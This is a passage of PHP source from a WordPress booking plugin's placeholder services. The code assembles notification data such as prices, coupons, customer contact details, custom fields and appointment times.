$expirationDate = null; if (!empty($customerBooking['coupon']['expirationDate'])) { $expirationDate = $customerBooking['coupon']['expirationDate']; } if (($discountValue || $deductionValue) && !empty($customerBooking['info'])) { $customerData = json_decode($customerBooking['info'], true); if (!$customerData) { $customerData = [ 'firstName' => $customerBooking['customer']['firstName'], 'lastName' => $customerBooking['customer']['lastName'], ]; } $couponsUsed[] = BackendStrings::getCommonStrings()['customer'] . ': ' . $customerData['firstName'] . ' ' . $customerData['lastName'] . ' ' .$break . BackendStrings::getFinanceStrings()['code'] . ': ' . $customerBooking['coupon']['code'] . ' ' . $break . ($discountValue ? BackendStrings::getPaymentStrings()['discount_amount'] . ': ' . $helperService->getFormattedPrice($discountValue) . ' ' . $break : '') . ($deductionValue ? BackendStrings::getPaymentStrings()['deduction'] . ': ' . $helperService->getFormattedPrice($deductionValue) . ' ' . $break : '') . ($expirationDate ? BackendStrings::getPaymentStrings()['expiration_date'] . ': ' . $expirationDate : ''); } $numberOfPersonsData[AbstractUser::USER_ROLE_PROVIDER][$customerBooking['status']] += empty($customerBooking['ticketsData']) ? $customerBooking['persons'] : array_sum(array_column($customerBooking['ticketsData'], 'persons')); $payment = !empty($customerBooking['payments'][0]) ? $customerBooking['payments'][0] : null; } $numberOfPersons = []; foreach ($numberOfPersonsData[AbstractUser::USER_ROLE_PROVIDER] as $key => $value) { if ($value) { $numberOfPersons[] = BackendStrings::getCommonStrings()[$key] . ': ' . $value; } } $numberOfPersons = implode($break, $numberOfPersons); $icsFiles = !empty($appointment['bookings'][0]['icsFiles']) ? $appointment['bookings'][0]['icsFiles'] : []; } else { $isAggregatedPrice = isset($appointment['bookings'][$bookingKey]['aggregatedPrice']) && $appointment['bookings'][$bookingKey]['aggregatedPrice']; $appointmentPrice = $appointment['bookings'][$bookingKey]['price'] * ($isAggregatedPrice ? $appointment['bookings'][$bookingKey]['persons'] : 1); /** @var CustomerBookingEventTicketRepository $bookingEventTicketRepository */ $bookingEventTicketRepository = $this->container->get('domain.booking.customerBookingEventTicket.repository'); $ticketsBookings = !empty($appointment['bookings'][$bookingKey]['id']) ? $bookingEventTicketRepository->getByEntityId( $appointment['bookings'][$bookingKey]['id'], 'customerBookingId' ) : new Collection(); if ($ticketsBookings->length()) { $ticketsPrice = 0; /** @var CustomerBookingEventTicket $bookingToEventTicket */ foreach ($ticketsBookings->getItems() as $key => $bookingToEventTicket) { $ticketsPrice += ($isAggregatedPrice ? $bookingToEventTicket->getPersons()->getValue() : 1) * $bookingToEventTicket->getPrice()->getValue(); } $appointmentPrice = $ticketsPrice; } elseif (!empty($event['bookings'][$bookingKey]['ticketsData'])) { $ticketsPrice = 0; foreach ($event['bookings'][$bookingKey]['ticketsData'] as $key => $bookingToEventTicket) { if ($bookingToEventTicket['price']) { $ticketsPrice += ($isAggregatedPrice ? $bookingToEventTicket['persons'] : 1) * $bookingToEventTicket['price']; } } $appointmentPrice = $ticketsPrice; } foreach ((array)$appointment['bookings'][$bookingKey]['extras'] as $extra) { $isExtraAggregatedPrice = isset($extra['aggregatedPrice']) && $extra['aggregatedPrice'] !== null ? $extra['aggregatedPrice'] : $isAggregatedPrice; $extra['price'] = isset($extra['price']) ? $extra['price'] : 0; $appointmentPrice += $extra['price'] * $extra['quantity'] * ($isExtraAggregatedPrice ? $appointment['bookings'][$bookingKey]['persons'] : 1); } if (!empty($appointment['bookings'][$bookingKey]['couponId']) && empty($appointment['bookings'][$bookingKey]['coupon'])) { /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); $appointment['bookings'][$bookingKey]['coupon'] = $couponRepository->getById($appointment['bookings'][$bookingKey]['couponId']); $appointment['bookings'][$bookingKey]['coupon'] = $appointment['bookings'][$bookingKey]['coupon'] ? $appointment['bookings'][$bookingKey]['coupon']->toArray() : null; } $discountValue = 0; if (!empty($appointment['bookings'][$bookingKey]['coupon']['discount'])) { $discountValue = $appointmentPrice - (1 - $appointment['bookings'][$bookingKey]['coupon']['discount'] / 100) * $appointmentPrice;; $appointmentPrice = (1 - $appointment['bookings'][$bookingKey]['coupon']['discount'] / 100) * $appointmentPrice; } $deductionValue = 0; if (!empty($appointment['bookings'][$bookingKey]['coupon']['deduction'])) { $deductionValue = $appointment['bookings'][$bookingKey]['coupon']['deduction']; $appointmentPrice -= $deductionValue; } $expirationDate = null; if (!empty($appointment['bookings'][$bookingKey]['coupon']['expirationDate'])) { $expirationDate = $appointment['bookings'][$bookingKey]['coupon']['expirationDate']; } if (!empty($appointment['bookings'][$bookingKey]['coupon']['code'])) { $couponsUsed[] = $appointment['bookings'][$bookingKey]['coupon']['code'] . ' ' . $break . ($discountValue ? BackendStrings::getPaymentStrings()['discount_amount'] . ': ' . $helperService->getFormattedPrice($discountValue) . ' ' . $break : '') . ($deductionValue ? BackendStrings::getPaymentStrings()['deduction'] . ': ' . $helperService->getFormattedPrice($deductionValue) . ' ' . $break : '') . ($expirationDate ? BackendStrings::getPaymentStrings()['expiration_date'] . ': ' . $expirationDate : ''); } $numberOfPersons = empty($appointment['bookings'][$bookingKey]['ticketsData']) ? $appointment['bookings'][$bookingKey]['persons'] : array_sum(array_column($appointment['bookings'][$bookingKey]['ticketsData'], 'persons')); $icsFiles = !empty($appointment['bookings'][$bookingKey]['icsFiles']) ? $appointment['bookings'][$bookingKey]['icsFiles'] : []; $payment = !empty($appointment['bookings'][$bookingKey]['payments'][0]) ? $appointment['bookings'][$bookingKey]['payments'][0] : null; if (!empty($payment['paymentLinks'])) { foreach ($payment['paymentLinks'] as $paymentType => $paymentLink) { $paymentLinks[$paymentType] = $type === 'email' ? '<a href="' . $paymentLink . '">' . $paymentLink . '</a>' : $paymentLink; } } } $depositAmount = null; if (!empty($appointment['deposit']) || $depositEnabled) { $depositAmount = $payment ? $payment['amount'] : 0; } $paymentType = ''; if ($payment) { switch ($payment['gateway']) { case 'onSite': $paymentType = BackendStrings::getCommonStrings()['on_site']; break; case 'wc': $paymentType = BackendStrings::getSettingsStrings()['wc_name']; break; default: $paymentType = BackendStrings::getSettingsStrings()[$payment['gateway']]; break; } } $appointmentPrice = $helperService->getFormattedPrice($appointmentPrice >= 0 ? $appointmentPrice : 0); return array_merge( $paymentLinks, [ "appointment_price" => $appointmentPrice, "booking_price" => $appointmentPrice, "{$appointment['type']}_cancel_url" => $bookingKey !== null && isset($appointment['bookings'][$bookingKey]['id']) ? AMELIA_ACTION_URL . '/bookings/cancel/' . $appointment['bookings'][$bookingKey]['id'] . ($token ? '&token=' . $token : '') . "&type={$appointment['type']}" : '', "{$appointment['type']}_deposit_payment" => $depositAmount !== null ? $helperService->getFormattedPrice($depositAmount) : '', 'payment_type' => $paymentType, 'payment_status' => $payment ? $payment['status'] : '', 'payment_gateway' => $payment ? $payment['gateway'] : '', 'payment_gateway_title' => $payment ? $payment['gatewayTitle'] : '', 'number_of_persons' => $numberOfPersons, 'coupon_used' => $couponsUsed ? implode($break, $couponsUsed) : '', 'icsFiles' => $icsFiles ] ); } /** @noinspection MoreThanThreeArgumentsInspection */ /** * @param array $appointment * @param string $type * @param null $bookingKey * @param Customer $customerEntity * * @return array * * @throws \Slim\Exception\ContainerException * @throws \InvalidArgumentException * @throws \Slim\Exception\ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws \Exception */ public function getCustomersData($appointment, $type, $bookingKey = null, $customerEntity = null) { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var string $paragraphStart */ $paragraphStart = $type === 'email' ? '<p>' : ''; /** @var string $paragraphEnd */ $paragraphEnd = $type === 'email' ? '</p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL); $timezone = get_option('timezone_string'); // If the data is for employee if ($bookingKey === null) { $customers = []; $customerInformationData = []; $hasApprovedOrPendingStatus = in_array( BookingStatus::APPROVED, array_column($appointment['bookings'], 'status'), true ) || in_array( BookingStatus::PENDING, array_column($appointment['bookings'], 'status'), true ); $bookedCustomerFullName = ''; $bookedCustomerEmail = ''; $bookedCustomerPhone = ''; foreach ((array)$appointment['bookings'] as $customerBooking) { /** @var AbstractUser $customer */ $customer = $userRepository->getById($customerBooking['customerId']); if ((!$hasApprovedOrPendingStatus && $customerBooking['isChangedStatus']) || ($customerBooking['status'] !== BookingStatus::CANCELED && $customerBooking['status'] !== BookingStatus::REJECTED) ) { if ($customerBooking['info']) { $customerInformationData[] = json_decode($customerBooking['info'], true); } else { $customerInformationData[] = [ 'firstName' => $customer->getFirstName()->getValue(), 'lastName' => $customer->getLastName()->getValue(), 'phone' => $customer->getPhone() ? $customer->getPhone()->getValue() : '', ]; } $customers[] = $customer; } if ($customerBooking['isChangedStatus']) { $bookedCustomerFullName = $customer->getFullName(); $bookedCustomerEmail = $customer->getEmail() ? $customer->getEmail()->getValue() : ''; $bookedCustomerPhone = $customer->getPhone() ? $customer->getPhone()->getValue() : ''; } } $phones = ''; foreach ($customerInformationData as $key => $info) { if ($info['phone']) { $phones .= $info['phone'] . ', '; } else { $phones .= $customers[$key]->getPhone() ? $customers[$key]->getPhone()->getValue() . ', ' : ''; } } $bookedCustomer = $paragraphStart . BackendStrings::getNotificationsStrings()['ph_customer_full_name'] . ': ' . $bookedCustomerFullName . $paragraphEnd; $bookedCustomer .= $bookedCustomerPhone ? $paragraphStart . BackendStrings::getNotificationsStrings()['ph_customer_phone'] . ': ' . $bookedCustomerPhone . $paragraphEnd : ''; $bookedCustomer .= $bookedCustomerEmail ? $paragraphStart . BackendStrings::getNotificationsStrings()['ph_customer_email'] . ': ' . $bookedCustomerEmail . $paragraphEnd : ''; return [ 'booked_customer' => $paragraphStart ? substr($bookedCustomer, 3, strlen($bookedCustomer) - 7) : $bookedCustomer, 'customer_email' => implode( ', ', array_map( function ($customer) { /** @var Customer $customer */ return $customer->getEmail()->getValue(); }, $customers ) ), 'customer_first_name' => implode( ', ', array_map( function ($info) { return $info['firstName']; }, $customerInformationData ) ), 'customer_last_name' => implode( ', ', array_map( function ($info) { return $info['lastName']; }, $customerInformationData ) ), 'customer_full_name' => implode( ', ', array_map( function ($info) { return $info['firstName'] . ' ' . $info['lastName']; }, $customerInformationData ) ), 'customer_phone' => substr($phones, 0, -2), 'customer_phone_local' => str_replace('+', '', substr($phones, 0, -2)), 'time_zone' => $timezone, 'customer_note' => implode( ', ', array_map( function ($customer) { /** @var Customer $customer */ return $customer->getNote() ? $customer->getNote()->getValue() : ''; }, $customers ) ) ]; } // If data is for customer /** @var Customer $customer */ $customer = $customerEntity ?: $userRepository->getById($appointment['bookings'][$bookingKey]['customerId']); $info = !empty($appointment['bookings'][$bookingKey]['info']) ? json_decode($appointment['bookings'][$bookingKey]['info']) : null; if ($info && $info->phone) { $phone = $info->phone; } else { $phone = $customer->getPhone() ? $customer->getPhone()->getValue() : ''; } /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); if ($settingsService->getSetting('general', 'showClientTimeZone')) { switch ($appointment['type']) { case (Entities::PACKAGE): if (!empty($appointment['isForCustomer'])) { $timezone = !empty($appointment['customer']['timeZone']) ? $appointment['customer']['timeZone'] : ''; } break; default: $timezone = ($info && property_exists($info, 'timeZone')) ? $info->timeZone : ''; } } /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); return [ 'customer_email' => $customer->getEmail() ? $customer->getEmail()->getValue() : '', 'customer_first_name' => $info ? $info->firstName : $customer->getFirstName()->getValue(), 'customer_last_name' => $info ? $info->lastName : $customer->getLastName()->getValue(), 'customer_full_name' => $info ? $info->firstName . ' ' . $info->lastName : $customer->getFullName(), 'customer_phone' => $phone, 'customer_phone_local' => !empty($phone) ? str_replace('+', '', $phone) : '', 'time_zone' => $timezone, 'customer_note' => $customer->getNote() ? $customer->getNote()->getValue() : '', 'customer_panel_url' => $helperService->getCustomerCabinetUrl( $customer->getEmail()->getValue(), $type, !empty($appointment['bookingStart']) ? explode(' ', $appointment['bookingStart'])[0] : null, !empty($appointment['bookingEnd']) ? explode(' ', $appointment['bookingEnd'])[0] : null, $info && property_exists($info, 'locale') ? $info->locale : '' ) ]; } /** * @param array $appointment * @param string $type * @param null $bookingKey * * @return array * @throws \Slim\Exception\ContainerValueNotFoundException * @throws QueryExecutionException * @throws \Exception */ public function getCustomFieldsData($appointment, $type, $bookingKey = null) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $dateFormat = $settingsService->getSetting('wordpress', 'dateFormat'); $customFieldsData = []; $bookingCustomFieldsKeys = []; if ($bookingKey === null) { $sendAllCustomFields = $settingsService->getSetting('notifications', 'sendAllCF') || (array_key_exists('sendCF', $appointment) && $appointment['sendCF']); foreach ($appointment['bookings'] as $booking) { if ((!$booking['isChangedStatus'] || (array_key_exists('isLastBooking', $booking) && !$booking['isLastBooking'])) && !(isset($appointment['isRescheduled']) ? $appointment['isRescheduled'] : false) && !$sendAllCustomFields) { continue; } if (sizeof($appointment['bookings']) > 1 && ($booking['status'] === BookingStatus::CANCELED || $booking['status'] === BookingStatus::REJECTED) ) { continue; } $bookingCustomFields = !empty($booking['customFields']) ? json_decode($booking['customFields'], true) : null; if ($bookingCustomFields) { foreach ($bookingCustomFields as $bookingCustomFieldKey => $bookingCustomField) { if (!empty($bookingCustomField['value']) && !empty($bookingCustomField['type'])) { if ($bookingCustomField['type'] === 'datepicker') { $date = DateTime::createFromFormat('Y-m-d', $bookingCustomField['value']); $bookingCustomField['value'] = date_i18n($dateFormat, $date->getTimestamp()); } if ($bookingCustomField['type'] === 'file' && (!empty($appointment['provider']) || !empty($appointment['providers'])) ) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var array $jwtSettings */ $jwtSettings = $settingsService->getSetting('roles', 'urlAttachment'); $provider_email = !empty($appointment['provider']) ? $appointment['provider']['email'] : $appointment['providers'][0]['email']; $token = $helperService->getGeneratedJWT( $provider_email, $jwtSettings['headerJwtSecret'], DateTimeService::getNowDateTimeObject()->getTimestamp() + $jwtSettings['tokenValidTime'], LoginType::AMELIA_URL_TOKEN ); $files = ''; if ($bookingCustomField['value']) { foreach ($bookingCustomField['value'] as $index => $file) { $files .= '<a href="' . AMELIA_ACTION_URL . '/fields/' . $bookingCustomFieldKey . '/' . $booking['id'] . '/' . $index . '&token=' . $token . '">' . $file['name'] . '</a>'; } $bookingCustomField['value'] = $files; } } if ($bookingCustomField['type'] === 'file' && (empty($appointment['provider']) && empty($appointment['providers'])) ) { continue; } if (array_key_exists('custom_field_' . $bookingCustomFieldKey, $customFieldsData)) { $value = $bookingCustomField['type'] === CustomFieldType::ADDRESS ? ( $type === 'email' ? '<a href="https://maps.google.com/?q='. $bookingCustomField['value'] .'" target="_blank">'. $bookingCustomField['value'] .'</a>' : 'https://maps.google.com/?q=' . str_replace(' ', '+', $bookingCustomField['value']) ) : $bookingCustomField['value']; $customFieldsData['custom_field_' . $bookingCustomFieldKey] .= is_array($value) ? '; ' . implode('; ', $value) : '; ' . $value; } else { $value = $bookingCustomField['type'] === CustomFieldType::ADDRESS ? ( $type === 'email' ? '<a href="https://maps.google.com/?q='. $bookingCustomField['value'] .'" target="_blank">' . $bookingCustomField['value'] . '</a>' : 'https://maps.google.com/?q=' . str_replace(' ', '+', $bookingCustomField['value']) ) : $bookingCustomField['value']; $customFieldsData['custom_field_' . $bookingCustomFieldKey] = is_array($value) ? implode('; ', $value) : $value; } $bookingCustomFieldsKeys[(int)$bookingCustomFieldKey] = true; } } } } } else { if ($appointment['bookings'][$bookingKey]['customFields']) { $bookingCustomFields = !is_array($appointment['bookings'][$bookingKey]['customFields']) ? json_decode($appointment['bookings'][$bookingKey]['customFields'], true) : $appointment['bookings'][$bookingKey]['customFields']; } else { $bookingCustomFields = []; } if ($bookingCustomFields) { foreach ((array)$bookingCustomFields as $bookingCustomFieldKey => $bookingCustomField) { $bookingCustomFieldsKeys[(int)$bookingCustomFieldKey] = true; if (is_array($bookingCustomField) && array_key_exists('type', $bookingCustomField) && $bookingCustomField['type'] === 'file') { continue; } if (is_array($bookingCustomField) && array_key_exists('type', $bookingCustomField) && $bookingCustomField['type'] === 'datepicker' && $bookingCustomField['value'] ) { $date = DateTime::createFromFormat('Y-m-d', $bookingCustomField['value']); $bookingCustomField['value'] = date_i18n($dateFormat, $date->getTimestamp()); } if (isset($bookingCustomField['value'])) { $value = $bookingCustomField['type'] === CustomFieldType::ADDRESS ? ( $type === 'email' ? '<a href="https://maps.google.com/?q='. $bookingCustomField['value'] .'" target="_blank">'. $bookingCustomField['value'] .'</a>' : 'https://maps.google.com/?q=' . str_replace(' ', '+', $bookingCustomField['value']) ) : $bookingCustomField['value']; $customFieldsData['custom_field_' . $bookingCustomFieldKey] = is_array($value) ? implode('; ', $value) : $value; } else { $customFieldsData['custom_field_' . $bookingCustomFieldKey] = ''; } } } } /** @var CustomFieldRepository $customFieldRepository */ $customFieldRepository = $this->container->get('domain.customField.repository'); /** @var Collection $customFields */ $customFields = $customFieldRepository->getAll(); /** @var CustomField $customField */ foreach ($customFields->getItems() as $customField) { if (!array_key_exists($customField->getId()->getValue(), $bookingCustomFieldsKeys)) { $customFieldsData['custom_field_' . $customField->getId()->getValue()] = ''; } if ($customField->getType()->getValue() === 'content') { switch ($appointment['type']) { case (Entities::APPOINTMENT): /** @var Service $service */ foreach ($customField->getServices()->getItems() as $service) { if ($service->getId()->getValue() === $appointment['serviceId']) { $customFieldsData['custom_field_' . $customField->getId()->getValue()] = $customField->getLabel()->getValue(); break; } } break; case (Entities::EVENT): /** @var Event $event */ foreach ($customField->getEvents()->getItems() as $event) { if ($event->getId()->getValue() === $appointment['id']) { $customFieldsData['custom_field_' . $customField->getId()->getValue()] = $customField->getLabel()->getValue(); break; } } break; } } } return $customFieldsData; } /** * @param array $appointment * @param string $type * @param null $bookingKey * * @return array * @throws ContainerException * @throws QueryExecutionException * @throws InvalidArgumentException */ public function getCouponsData($appointment, $type, $bookingKey = null) { $couponsData = []; /** @var string $break */ $break = $type === 'email' ? '<p><br></p>' : ($type === 'whatsapp' ? '; ' : PHP_EOL); if ($bookingKey !== null) { /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); /** @var CouponRepository $couponRepository */ $couponRepository = $this->container->get('domain.coupon.repository'); /** @var CouponApplicationService $couponAS */ $couponAS = $this->container->get('application.coupon.service'); /** @var Collection $customerReservations */ $customerReservations = new Collection(); $type = $appointment['type']; $customerId = $type !== Entities::PACKAGE ? $appointment['bookings'][$bookingKey]['customerId'] : $appointment['customer']['id']; $couponsCriteria = []; switch ($type) { case Entities::APPOINTMENT: /** @var AppointmentRepository $appointmentRepository */ $appointmentRepository = $this->container->get('domain.booking.appointment.repository'); $couponsCriteria['entityIds'] = [$appointment['serviceId']]; $couponsCriteria['entityType'] = Entities::SERVICE; $customerReservations = $appointmentRepository->getFiltered( [ 'customerId' => $customerId, 'status' => BookingStatus::APPROVED, 'bookingStatus' => BookingStatus::APPROVED, 'services' => [ $appointment['serviceId'] ] ] ); break; case Entities::EVENT: /** @var EventRepository $eventRepository */ $eventRepository = $this->container->get('domain.booking.event.repository'); $couponsCriteria['entityIds'] = [$appointment['id']]; $couponsCriteria['entityType'] = Entities::EVENT; $customerReservations = $eventRepository->getFiltered( [ 'customerId' => $customerId, 'bookingStatus' => BookingStatus::APPROVED, ] ); break; case Entities::PACKAGE: /** @var PackageCustomerRepository $packageCustomerRepository */ $packageCustomerRepository = $this->container->get('domain.bookable.packageCustomer.repository'); $couponsCriteria['entityIds'] = [$appointment['id']]; $couponsCriteria['entityType'] = Entities::PACKAGE; $customerReservations = $packageCustomerRepository->getByEntityId($customerId, 'customerId'); break; } /** @var Collection $entityCoupons */ $entityCoupons = $couponRepository->getAllByCriteria($couponsCriteria); /** @var Collection $allCoupons */ $allCoupons = $couponRepository->getAllIndexedById(); foreach (array_diff($allCoupons->keys(), $entityCoupons->keys()) as $couponId) { $couponsData["coupon_{$couponId}"] = ''; } /** @var Coupon $coupon */ foreach ($entityCoupons->getItems() as $coupon) { /** @var Collection $reservationsForCheck */ $reservationsForCheck = new Collection(); switch ($type) { case Entities::PACKAGE: case Entities::APPOINTMENT: $reservationsForCheck = $customerReservations; break; case Entities::EVENT: /** @var Event $reservation */ foreach ($customerReservations->getItems() as $reservation) { if ($coupon->getEventList()->keyExists($reservation->getId()->getValue())) { $reservationsForCheck->addItem($reservation, $reservation->getId()->getValue()); } } break; } $sendCoupon = ( !$coupon->getNotificationRecurring()->getValue() && $reservationsForCheck->length() === $coupon->getNotificationInterval()->getValue() ) || ( $coupon->getNotificationRecurring()->getValue() && $reservationsForCheck->length() % $coupon->getNotificationInterval()->getValue() === 0 ); try { if ($sendCoupon && $couponAS->inspectCoupon($coupon, $customerId, true)) { $couponsData["coupon_{$coupon->getId()->getValue()}"] = FrontendStrings::getCommonStrings()['coupon_send_text'] . ' ' . $coupon->getCode()->getValue() . ' ' . $break . ($coupon->getDeduction() && $coupon->getDeduction()->getValue() ? BackendStrings::getFinanceStrings()['deduction'] . ' ' . $helperService->getFormattedPrice($coupon->getDeduction()->getValue()) . $break : '' ) . ($coupon->getDiscount() && $coupon->getDiscount()->getValue() ? BackendStrings::getPaymentStrings()['discount_amount'] . ' ' . $coupon->getDiscount()->getValue() . '% '. $break : '') . ($coupon->getExpirationDate() && $coupon->getExpirationDate()->getValue() ? BackendStrings::getPaymentStrings()['expiration_date'] . ': ' . date_i18n($coupon->getExpirationDate()->getValue()->format('Y-m-d')) : ''); } else { $couponsData["coupon_{$coupon->getId()->getValue()}"] = ''; } } catch (CouponUnknownException $e) { $couponsData["coupon_{$coupon->getId()->getValue()}"] = ''; } catch (CouponInvalidException $e) { $couponsData["coupon_{$coupon->getId()->getValue()}"] = ''; } catch (CouponExpiredException $e) { $couponsData["coupon_{$coupon->getId()->getValue()}"] = ''; } } } return $couponsData; } /** * @param array $entity * * @param string $subject * @param string $body * @param int $userId * @return array */ public function reParseContentForProvider($entity, $subject, $body, $userId) { $employeeSubject = $subject; $employeeBody = $body; return [ 'body' => $employeeBody, 'subject' => $employeeSubject, ]; } } Services/Placeholder/AppointmentPlaceholderService.php 0000666 00000103640 15165412624 0017262 0 ustar 00 <?php /** * @copyright © TMS-Plugins. All rights reserved. * @licence See LICENCE.md for license details. */ namespace AmeliaBooking\Application\Services\Placeholder; use AmeliaBooking\Application\Services\Booking\AppointmentApplicationService; use AmeliaBooking\Application\Services\Helper\HelperService; use AmeliaBooking\Domain\Collection\Collection; use AmeliaBooking\Domain\Common\Exceptions\InvalidArgumentException; use AmeliaBooking\Domain\Entity\Bookable\Service\Category; use AmeliaBooking\Domain\Entity\Bookable\Service\Extra; use AmeliaBooking\Domain\Entity\Bookable\Service\Service; use AmeliaBooking\Domain\Entity\Location\Location; use AmeliaBooking\Domain\Entity\User\AbstractUser; use AmeliaBooking\Domain\Entity\User\Provider; use AmeliaBooking\Domain\Services\DateTime\DateTimeService; use AmeliaBooking\Domain\Services\Settings\SettingsService; use AmeliaBooking\Domain\ValueObjects\String\BookingStatus; use AmeliaBooking\Infrastructure\Common\Exceptions\NotFoundException; use AmeliaBooking\Infrastructure\Common\Exceptions\QueryExecutionException; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\CategoryRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ExtraRepository; use AmeliaBooking\Infrastructure\Repository\Bookable\Service\ServiceRepository; use AmeliaBooking\Infrastructure\Repository\Booking\Appointment\CustomerBookingRepository; use AmeliaBooking\Infrastructure\Repository\Location\LocationRepository; use AmeliaBooking\Infrastructure\Repository\User\UserRepository; use AmeliaBooking\Infrastructure\WP\Translations\BackendStrings; use DateTime; use Exception; use Interop\Container\Exception\ContainerException; use Slim\Exception\ContainerValueNotFoundException; /** * Class AppointmentPlaceholderService * * @package AmeliaBooking\Application\Services\Notification */ class AppointmentPlaceholderService extends PlaceholderService { /** * * @return array * * @throws ContainerException */ public function getEntityPlaceholdersDummyData($type) { /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); /** @var HelperService $helperService */ $helperService = $this->container->get('application.helper.service'); $companySettings = $settingsService->getCategorySettings('company'); $dateFormat = $settingsService->getSetting('wordpress', 'dateFormat'); $timeFormat = $settingsService->getSetting('wordpress', 'timeFormat'); $timestamp = date_create()->getTimestamp(); return [ 'appointment_id' => '1', 'appointment_date' => date_i18n($dateFormat, $timestamp), 'appointment_date_time' => date_i18n($dateFormat . ' ' . $timeFormat, $timestamp), 'appointment_start_time' => date_i18n($timeFormat, $timestamp), 'appointment_end_time' => date_i18n($timeFormat, date_create('1 hour')->getTimestamp()), 'appointment_notes' => 'Appointment note', 'appointment_price' => $helperService->getFormattedPrice(100), 'appointment_cancel_url' => 'http://cancel_url.com', 'zoom_join_url' => $type === 'email' ? '<a href="#">' . BackendStrings::getCommonStrings()['zoom_click_to_join'] . '</a>' : 'https://join_zoom_link.com', 'zoom_host_url' => $type === 'email' ? '<a href="#">' . BackendStrings::getCommonStrings()['zoom_click_to_start'] . '</a>' : 'https://start_zoom_link.com', 'google_meet_url' => $type === 'email' ? '<a href="#">' . BackendStrings::getCommonStrings()['google_meet_join'] . '</a>' : 'https://join_google_meet_link.com', 'lesson_space_url' => $type === 'email' ? '<a href="#">' . BackendStrings::getCommonStrings()['lesson_space_join'] . '</a>' : 'https://lessonspace.com/room-id', 'appointment_duration' => $helperService->secondsToNiceDuration(1800), 'appointment_deposit_payment' => $helperService->getFormattedPrice(20), 'appointment_status' => BackendStrings::getCommonStrings()['approved'], 'category_name' => 'Category Name', 'service_description' => 'Service Description', 'reservation_description' => 'Service Description', 'service_duration' => $helperService->secondsToNiceDuration(5400), 'service_name' => 'Service Name', 'reservation_name' => 'Service Name', 'service_price' => $helperService->getFormattedPrice(100), 'service_extras' => 'Extra1, Extra2, Extra3' ]; } /** * @param array $appointment * @param int $bookingKey * @param string $type * @param AbstractUser $customer * * @return array * * @throws InvalidArgumentException * @throws ContainerValueNotFoundException * @throws NotFoundException * @throws QueryExecutionException * @throws ContainerException * @throws Exception */ public function getPlaceholdersData($appointment, $bookingKey = null, $type = null, $customer = null, $allBookings = null) { /** @var CustomerBookingRepository $bookingRepository */ $bookingRepository = $this->container->get('domain.booking.customerBooking.repository'); $token = isset($appointment['bookings'][$bookingKey]) ? $bookingRepository->getToken($appointment['bookings'][$bookingKey]['id']) : null; $token = isset($token['token']) ? $token['token'] : null; $data = []; $data = array_merge($data, $this->getAppointmentData($appointment, $bookingKey, $type)); $data = array_merge($data, $this->getServiceData($appointment, $bookingKey)); $data = array_merge($data, $this->getEmployeeData($appointment, $bookingKey)); $data = array_merge($data, $this->getRecurringAppointmentsData($appointment, $bookingKey, $type, 'recurring')); if (empty($customer)) { $data = array_merge($data, $this->getGroupedAppointmentData($appointment, $bookingKey, $type)); } $data = array_merge($data, $this->getBookingData($appointment, $type, $bookingKey, $token, $data['deposit'])); $data = array_merge($data, $this->getCompanyData($bookingKey !== null ? $appointment['bookings'][$bookingKey]['info'] : null)); $data = array_merge($data, $this->getCustomersData($appointment, $type, $bookingKey, $customer)); $data = array_merge($data, $this->getCustomFieldsData($appointment, $type, $bookingKey)); $data = array_merge($data, $this->getCouponsData($appointment, $type, $bookingKey)); return $data; } /** * @param $appointment * @param null $bookingKey * @param string $type * * @return array * * @throws Exception */ protected function getAppointmentData($appointment, $bookingKey = null, $type = null) { /** @var UserRepository $userRepository */ $userRepository = $this->container->get('domain.users.repository'); /** @var SettingsService $settingsService */ $settingsService = $this->container->get('domain.settings.service'); $dateFormat = $settingsService->getSetting('wordpress', 'dateFormat'); $timeFormat = $settingsService->getSetting('wordpress', 'timeFormat'); if ($appointment['providerId'] && empty($appointment['provider'])) { /** @var Provider $user */ $user = $userRepository->getById($appointment['providerId']); $appointment['provider'] = $user->toArray(); } if ($bookingKey !== null && $appointment['bookings'][$bookingKey]['utcOffset'] !== null && $settingsService->getSetting('general', 'showClientTimeZone') ) { $bookingStart = DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($appointment['bookingStart']), $appointment['bookings'][$bookingKey]['utcOffset'] ); $bookingEnd = DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($appointment['bookingEnd']), $appointment['bookings'][$bookingKey]['utcOffset'] ); $oldBookingStart = !empty($appointment['initialAppointmentDateTime']) ? DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($appointment['initialAppointmentDateTime']['bookingStart']), $appointment['bookings'][$bookingKey]['utcOffset'] ) : ''; $oldBookingEnd = !empty($appointment['initialAppointmentDateTime']) ? DateTimeService::getClientUtcCustomDateTimeObject( DateTimeService::getCustomDateTimeInUtc($appointment['initialAppointmentDateTime']['bookingEnd']), $appointment['bookings'][$bookingKey]['utcOffset'] ) : ''; } else if ($bookingKey === null && !empty($appointment['provider']['timeZone'])) { $bookingStart = DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $appointment['bookingStart'] )->setTimezone(new \DateTimeZone($appointment['provider']['timeZone']))->format('Y-m-d H:i:s'), 'UTC' ); $bookingEnd = DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $appointment['bookingEnd'] )->setTimezone(new \DateTimeZone($appointment['provider']['timeZone']))->format('Y-m-d H:i:s'), 'UTC' ); $oldBookingStart = !empty($appointment['initialAppointmentDateTime']) ? DateTimeService::getDateTimeObjectInTimeZone( DateTimeService::getCustomDateTimeObject( $appointment['initialAppointmentDateTime']['bookingStart'] )->setTimezone(new \DateTimeZone($appointment['provider']['timeZone']))->format('Y-m-d H:i:s'), 'UTC' ) : ''; $oldBookingEnd = 